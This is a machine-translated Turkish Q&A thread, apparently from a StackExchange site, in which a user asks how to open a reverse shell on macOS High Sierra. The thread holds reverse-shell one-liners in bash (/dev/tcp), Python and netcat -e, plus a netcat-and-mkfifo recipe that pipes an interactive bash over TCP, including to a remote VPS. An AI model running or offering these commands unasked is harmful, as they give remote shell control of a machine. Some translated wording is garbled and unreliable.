Yüksek Sierra kullanarak ters kabuk oluşturun?


3

High Sierra kullanarak ters bir kabuk dinleyicisi oluşturmaya çalışıyorum ama hiçbir şey işe yaramadı.

Bash komutu sadece terminalde asılı ve zaman aşımına uğradı.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

Python komutu python veya python v2.7 kullanılırken "Bağlantı reddedildi" hatası veriyor.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

"nc: invalid option -e" ile netcat komutu hataları

nc -e /bin/bash 0.0.0.0 8080

Çevrimiçi bulduğum başka çözümleri de denedim ama siz anladınız ...

High Sierra kullanarak ters bir kabuk (tercihen bash erişimi olan) oluşturmak mümkün müdür?

özellikler:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lilys MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

Yanıtlar:


5

Doğru anlarsam, High Sierra makinenize netcat (nc) gibi bir şey kullanarak harici bir kaynaktan bağlanmak, bash komutlarını göndermek ve yanıtı görüntülemek istiyorsunuz.

Bunu ssh kullanarak yapmanın daha güvenli ve daha basit yolları var, ancak bunun bir tür deney ya da geliştirme numarası olduğunu varsayarak, istediğinizi nasıl yapabileceğinizi düşünün.

Cevabım, başka bir yerde bulduğum bir cevaba dayanıyor ( https://superuser.com/a/607855 ), kendisi de diğer SO / SE cevaplarına dayanıyor.

İlk önce bir beşlik yapın:

mkfifo myfifo

Ardından 'noc' u giriş olarak kullanarak, çıktısını bash'a bağladığınızda ve bash'ın çıktısını fifo'ya yönlendirin:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Bash için '-i' bayrağı etkileşimli bir kabuğu belirtir ve bu kullanım durumu için istenmeyebilir.)

Uzak cihazdan (testlerimde, kendim):

nc 127.0.0.1 8080

Rolleri tersine çevirmek istiyorsanız, yani High Sierra makinesi uzak cihaza bağlantı kuruyorsa ve uzak cihaza HS ana bilgisayarında bash erişimi sağlıyorsa, dinleme bayrağını (-l) hareket ettirirsiniz. Böylece, uzak cihaz ilk dinleme modunda netcat'i başlatır:

nc -l 127.0.0.1 8080

O zaman Yüksek Sierra ana bilgisayarı uzak cihaza bağlanır:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

Bu harika, teşekkür ederim. Vaktiniz varsa, "mkfifo" nun tam olarak ne olduğunu / ne yaptığını kısaca açıklayabilir misiniz? Beşinci el kitabına baktım man mkfifoama hala bir beşliğin ne olduğunu tam olarak anlamadım, üzgünüm!
zambak

@lily Temel olarak aynı olan |ancak daha sonra başvurabileceğiniz / kullanabileceğiniz bir adla aynı adlandırılmış bir boru oluşturur . Verileri iletmek için adlandırılmış bir kanal olarak düşünün.
yokuş yukarı

fifo = İlk Giriş, İlk Çıkış .. bir sıra. "|" Boru karakteri aynı şeyi yapmanın basitleştirilmiş bir yoludur. Aksi yoldan gidemediğimizden (bash nc'nin girişine geri döner) "|" borusu ile ya da yönlendirmelerle geri dönemedik, fifo kullandık. İstersek iki FIFO kullanabilirdik.
Bryan Scott

@BryanScott, bu konudaki yardımınız için teşekkür ederiz. rolleri tersine çevirirken biraz sorun yaşıyorum (uzaktaki debian sunucuyla bağlantı kuran yüksek Sierra). Netcat ile sunucuda başladım $ nc -l 0.0.0.0 8080, ancak fark ettim ki, -pnc atlamak rastgele bir port açar nc -l 0.0.0.0 -p 8080. sonra yüksek sierra dizüstü bilgisayarımdan $ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1ancak terminalde hemen hatalar:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
zambak

Burada yanlış ne yapıyorum herhangi bir fikrin var mı? ssh kullanarak daha güvenli olduğunu biliyorum ama lütfen beni mizahla, eğleniyorum im netcat öğrenme
lily
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.